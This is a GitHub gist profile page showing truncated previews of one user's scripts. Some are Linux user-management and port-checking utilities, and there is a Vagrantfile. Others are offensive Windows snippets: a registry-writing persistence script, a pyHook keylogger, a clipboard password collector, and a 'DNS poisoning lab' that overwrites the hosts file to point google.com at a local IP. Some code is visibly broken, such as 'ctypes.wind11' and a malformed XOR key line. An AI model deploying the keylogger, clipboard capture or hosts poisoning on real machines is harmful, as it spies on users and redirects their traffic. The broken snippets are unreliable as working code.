Skip to content

Instantly share code, notes, and snippets.

View davidlares's full-sized avatar
🎯
Focusing

David E Lares S davidlares

🎯
Focusing
View GitHub Profile
@davidlares
davidlares / users.sh
Last active January 20, 2021 00:22
Adding local system Linux Users (useradd command)
#!/bin/bash
# this script creates a new user on the local system
# you will be prompted to enter the username (login), the person name and password
if [[ "${UID}" -ne 0 ]]
then
echo "Run it with sudo privileges or as root"
exit 1
fi
@davidlares
davidlares / delete.sh
Last active January 3, 2020 22:21
Deleting/Disabling local system Linux Users
#!/bin/bash
# deleting - disabling linux accounts
readonly ARCHIVE_DIR='/archive' # program variable
usage() {
echo "Usage: ${0} [-dra] USER [USERN]"
echo "Disable a local Linux account"
echo "-d Deletes accounts instead of disabling them"
@davidlares
davidlares / ports.sh
Last active January 4, 2020 02:34
Simple script for checking open ports TCPv4 with Bash
#!/bin/bash
# this script shows the open network ports on a system
# -4 to limit TCP IPv4 ports
if [[ "${1}" = '-4' ]]
then
netstat -nutl ${1} | grep ':' | awk '{print $4}' | awk -F ':' '{print $NF}'
fi
@davidlares
davidlares / Vagrantfile
Created January 4, 2020 02:24
Remote SSH command execution with Vagrant machines
Vagrant.configure("2") do |config|
config.vm.box = "jasonc/centos7"
# first machine
config.vm.define "admin01" do |admin01|
admin01.vm.hostname = 'admin01'
admin01.vm.network "private_network", ip: "10.9.8.10"
end
# second machine
@davidlares
davidlares / script.py
Created February 1, 2020 22:04
Writing Windows System Registries and file transferring with Python 2.x
#!/usr/bin/python
import os
import shutil
import _winreg as wreg
import subprocess
# getting the cwd
path = os.getcwd().strip('\n')
# grabbing the username using a subprocess command for building the destination path
null, user = subprocess.check_output('set USERPROFILE', shell=True).split('=') # C:\Users\Administrador
@davidlares
davidlares / keylogger.py
Last active February 3, 2020 21:25
A simple Python 2.x keylogger script for Windows OS (w pyHook and Pythoncom)
#!/usr/bin/python
import pythoncom, pyHook
def key_pressed(event):
# variable that will handle the keystrokes
global store
# evaluate the Enter key
if event.Ascii==13:
keys = '<ENTER>'
@davidlares
davidlares / clipboard.py
Created February 3, 2020 20:20
A Python 2.x script for demonstrating the Pyperclip package
#!/usr/bin/python
import pyperclip
import time
p_list = [] # list datatype for password clipboard selection
while True:
# evaluating existence
if pyperclip.paste() != 'None':
value = pyperclip.paste() # paste content
@davidlares
davidlares / poisoning.py
Last active February 4, 2020 01:58
A hard-coded script for appending records in the Windows local DNS table (DNS poisoning lab)
#!/usr/bin/python
import subprocess
import os
# change directory of the file
os.chdir('C:\Windows\System32\drivers\etc')
# appending a fake DNS records to the local DNS host files
command = "echo 192.168.1.111 google.com > hosts"
# processing command
@davidlares
davidlares / xor.py
Last active February 5, 2020 04:41
An isolated Python 2.x script for performing a basic XOR encryption for hard-coded data
#!/usr/bin/python
import string
import random
# this will generate a random key used for the XOR encrpytion for 1kb = same as the TCP socket size
key = ''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits '^!\$%&/()=?{[]}+~#-_.:,;<>|\\') for _ in range(1024))
# printing data
print(key)
print('\n' + 'Key length' + str(len(key)))
@davidlares
davidlares / checker.py
Created February 5, 2020 21:44
Admin role-type profile checker script for Windows-based OS (built-in modules from Python)
#!/usr/bin/python
import ctypes
if ctypes.wind11.shell32.IsUserAnAdmin() == 0:
print("[-] We do not have admin privileges")
else:
print('[+] We have admin privileges')